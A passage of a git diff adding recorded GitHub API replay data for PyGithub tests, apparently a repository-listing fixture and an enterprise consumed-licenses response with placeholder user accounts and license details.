jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"C4Planner","language":"Python","description":"Caesar IV: anticipate your city","ssh_url":"git@github.com:jacquev6/C4Planner.git","pushed_at":"2011-11-27T20:51:06Z","created_at":"2011-08-24T08:30:55Z","id":2260441,"html_url":"https://github.com/jacquev6/C4Planner","full_name":"jacquev6/C4Planner"},{"clone_url":"https://github.com/jacquev6/Hacking.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-04-24T13:55:11Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/jacquev6/Hacking","has_wiki":false,"has_issues":false,"fork":false,"forks":0,"size":128,"private":true,"open_issues":0,"svn_url":"https://github.com/jacquev6/Hacking","git_url":"git://github.com/jacquev6/Hacking.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"Hacking","language":"Python","description":"","ssh_url":"git@github.com:jacquev6/Hacking.git","pushed_at":"2012-04-17T19:09:56Z","created_at":"2011-07-02T15:59:51Z","id":1988081,"html_url":"https://github.com/jacquev6/Hacking","full_name":"jacquev6/Hacking"},{"clone_url":"https://github.com/jacquev6/vincent-jacques.net.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-04-29T15:20:52Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"vincent-jacques.net","url":"https://api.github.com/repos/jacquev6/vincent-jacques.net","has_wiki":false,"has_issues":false,"fork":false,"forks":0,"size":172,"private":true,"open_issues":0,"svn_url":"https://github.com/jacquev6/vincent-jacques.net","git_url":"git://github.com/jacquev6/vincent-jacques.net.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"vincent-jacques.net","language":"Python","description":"","ssh_url":"git@github.com:jacquev6/vincent-jacques.net.git","pushed_at":"2012-04-29T15:20:52Z","created_at":"2011-07-02T07:08:56Z","id":1986874,"html_url":"https://github.com/jacquev6/vincent-jacques.net","full_name":"jacquev6/vincent-jacques.net"},{"clone_url":"https://github.com/jacquev6/Contests.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-02-12T07:18:09Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"Contests","url":"https://api.github.com/repos/jacquev6/Contests","has_wiki":false,"has_issues":false,"fork":false,"forks":0,"size":448,"private":true,"open_issues":0,"svn_url":"https://github.com/jacquev6/Contests","git_url":"git://github.com/jacquev6/Contests.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"Contests","language":"Python","description":"","ssh_url":"git@github.com:jacquev6/Contests.git","pushed_at":"2011-11-14T20:19:48Z","created_at":"2011-06-27T11:55:34Z","id":1959919,"html_url":"https://github.com/jacquev6/Contests","full_name":"jacquev6/Contests"},{"clone_url":"https://github.com/jacquev6/Candidates.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-05-11T13:50:37Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/jacquev6/Candidates","has_wiki":false,"has_issues":false,"fork":false,"forks":0,"size":700,"private":true,"open_issues":0,"svn_url":"https://github.com/jacquev6/Candidates","git_url":"git://github.com/jacquev6/Candidates.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"Candidates","language":"C++","description":"","ssh_url":"git@github.com:jacquev6/Candidates.git","pushed_at":"2012-05-11T13:50:36Z","created_at":"2011-04-09T18:24:08Z","id":1592290,"html_url":"https://github.com/jacquev6/Candidates","full_name":"jacquev6/Candidates"},{"clone_url":"https://github.com/jacquev6/Tests.git","mirror_url":null,"has_downloads":true,"watchers":0,"updated_at":"2012-04-28T10:16:42Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/jacquev6/Tests","has_wiki":false,"has_issues":false,"fork":false,"forks":0,"size":3032,"private":true,"open_issues":0,"svn_url":"https://github.com/jacquev6/Tests","git_url":"git://github.com/jacquev6/Tests.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"Tests","language":"C","description":"Various tests","ssh_url":"git@github.com:jacquev6/Tests.git","pushed_at":"2012-04-01T04:24:47Z","created_at":"2011-03-28T20:24:02Z","id":1538471,"html_url":"https://github.com/jacquev6/Tests","full_name":"jacquev6/Tests"},{"clone_url":"https://github.com/jacquev6/DrawTurksHead.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-04-16T18:38:55Z","permissions":{"pull":true,"admin":true,"push":true},"master_branch":"master","homepage":"http://vincent-jacques.net/DrawTurksHead/","url":"https://api.github.com/repos/jacquev6/DrawTurksHead","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":3232,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/DrawTurksHead","git_url":"git://github.com/jacquev6/DrawTurksHead.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"DrawTurksHead","language":"C++","description":"A tool to draw Turk's Head Knots. Try it online","ssh_url":"git@github.com:jacquev6/DrawTurksHead.git","pushed_at":"2012-04-16T18:38:54Z","created_at":"2010-07-10T08:54:09Z","id":767403,"html_url":"https://github.com/jacquev6/DrawTurksHead","full_name":"jacquev6/DrawTurksHead"},{"clone_url":"https://github.com/jacquev6/DrawSyntax.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2011-11-27T14:00:34Z","permissions":{"pull":true,"admin":true,"push":true},"master_branch":"master","homepage":"http://vincent-jacques.net/DrawSyntax/","url":"https://api.github.com/repos/jacquev6/DrawSyntax","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":1760,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/DrawSyntax","git_url":"git://github.com/jacquev6/DrawSyntax.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"DrawSyntax","language":"C++","description":"Draw syntax diagrams from EBNF grammars. API in C++ and Python. Try it online.","ssh_url":"git@github.com:jacquev6/DrawSyntax.git","pushed_at":"2011-11-27T14:00:32Z","created_at":"2010-07-10T08:39:56Z","id":767392,"html_url":"https://github.com/jacquev6/DrawSyntax","full_name":"jacquev6/DrawSyntax"},{"clone_url":"https://github.com/jacquev6/QuadProgMm.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-04-16T18:39:06Z","permissions":{"pull":true,"admin":true,"push":true},"master_branch":"master","homepage":"http://vincent-jacques.net/QuadProgMm","url":"https://api.github.com/repos/jacquev6/QuadProgMm","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":760,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/QuadProgMm","git_url":"git://github.com/jacquev6/QuadProgMm.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"QuadProgMm","language":"C++","description":"A C++ interface to specify quadratic problems by C++ expressions of your variables. Try it online.","ssh_url":"git@github.com:jacquev6/QuadProgMm.git","pushed_at":"2012-04-16T18:39:05Z","created_at":"2010-07-10T08:36:57Z","id":767386,"html_url":"https://github.com/jacquev6/QuadProgMm","full_name":"jacquev6/QuadProgMm"},{"clone_url":"https://github.com/jacquev6/Boost.HierarchicalEnum.git","mirror_url":null,"has_downloads":false,"watchers":2,"updated_at":"2012-02-20T12:43:24Z","permissions":{"pull":true,"admin":true,"push":true},"master_branch":"master","homepage":"","url":"https://api.github.com/repos/jacquev6/Boost.HierarchicalEnum","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":112,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/Boost.HierarchicalEnum","git_url":"git://github.com/jacquev6/Boost.HierarchicalEnum.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"Boost.HierarchicalEnum","language":"C++","description":"","ssh_url":"git@github.com:jacquev6/Boost.HierarchicalEnum.git","pushed_at":"2011-11-27T14:00:23Z","created_at":"2010-07-10T08:32:12Z","id":767382,"html_url":"https://github.com/jacquev6/Boost.HierarchicalEnum","full_name":"jacquev6/Boost.HierarchicalEnum"},{"clone_url":"https://github.com/jacquev6/ViDE.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-04-19T16:35:46Z","permissions":{"pull":true,"admin":true,"push":true},"master_branch":"master","homepage":"","url":"https://api.github.com/repos/jacquev6/ViDE","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":1488,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/ViDE","git_url":"git://github.com/jacquev6/ViDE.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"ViDE","language":"Python","description":"Vincent's Development Environment","ssh_url":"git@github.com:jacquev6/ViDE.git","pushed_at":"2012-04-19T16:35:45Z","created_at":"2010-07-10T07:33:24Z","id":767343,"html_url":"https://github.com/jacquev6/ViDE","full_name":"jacquev6/ViDE"}] - diff --git a/tests/ReplayData/EnterpriseAdmin.testGetConsumedLicenses.txt b/tests/ReplayData/EnterpriseAdmin.testGetConsumedLicenses.txt new file mode 100644 index 0000000000..244db74109 --- /dev/null +++ b/tests/ReplayData/EnterpriseAdmin.testGetConsumedLicenses.txt @@ -0,0 +1,10 @@ +https +GET +api.github.com +None +/enterprises/beaver-group/consumed-licenses +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Thu, 27 Jul 2023 05:05:44 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"cec25a870aded5f7c26c9e549d31f9b91d887121b0f77b72446fe2f4a8eaf6d2"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, repo, user, write:discussion'), ('X-Accepted-OAuth-Scopes', 'admin:enterprise, manage_billing:enterprise, read:enterprise'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="next", ; rel="last"'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4844'), ('X-RateLimit-Reset', '1690436729'), ('X-RateLimit-Used', '156'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '3724:4B9F:2D3DC0:2F8903:64C1FB27')] +{"total_seats_consumed":102,"total_seats_purchased":103,"users":[{"github_com_login":"beaver-user001","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user001","github_com_member_roles":["beaver-admin-dev:Owner","beaver-external:Owner","beaver-general:Owner","beaver-training:Owner","beaver:Owner"],"github_com_enterprise_roles":["Owner","Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user002","github_com_name":"beaver-user002","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user002","github_com_member_roles":[],"github_com_enterprise_roles":["Pending outside collaborator invitation"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user003","github_com_name":"beaver-user003","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user003","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user003@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user004","github_com_name":"beaver-user004","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user004","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user005","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user005","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user006","github_com_name":"beaver-user006","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user006","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user007","github_com_name":"beaver-user007","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user007","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user008","github_com_name":"beaver-user008","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user008","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user009","github_com_name":"beaver-user009","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user009","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user010","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user010","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user011","github_com_name":"beaver-user011","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user011","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator","Pending outside collaborator invitation"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user012","github_com_name":"beaver-user012","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user012","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user013","github_com_name":"beaver-user013","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user013","github_com_member_roles":["beaver-admin-dev:Owner","beaver-external:Owner","beaver-general:Owner","beaver-training:Owner","beaver:Owner"],"github_com_enterprise_roles":["Owner","Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user013@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user014","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user014","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user015","github_com_name":"beaver-user015","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user015","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user016","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user016","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user016@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user017","github_com_name":"beaver-user017","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user017","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user018","github_com_name":"beaver-user018","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user018","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user019","github_com_name":"beaver-user019","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user019","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user020","github_com_name":"beaver-user020","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user020","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user020@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user021","github_com_name":"beaver-user021","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user021","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user022","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user022","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user022@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user023","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user023","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user024","github_com_name":"beaver-user024","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user024","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user025","github_com_name":"beaver-user025","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user025","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user026","github_com_name":"beaver-user026","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user026","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user027","github_com_name":"beaver-user027","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user027","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user027@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user028","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user028","github_com_member_roles":[],"github_com_enterprise_roles":["Outside 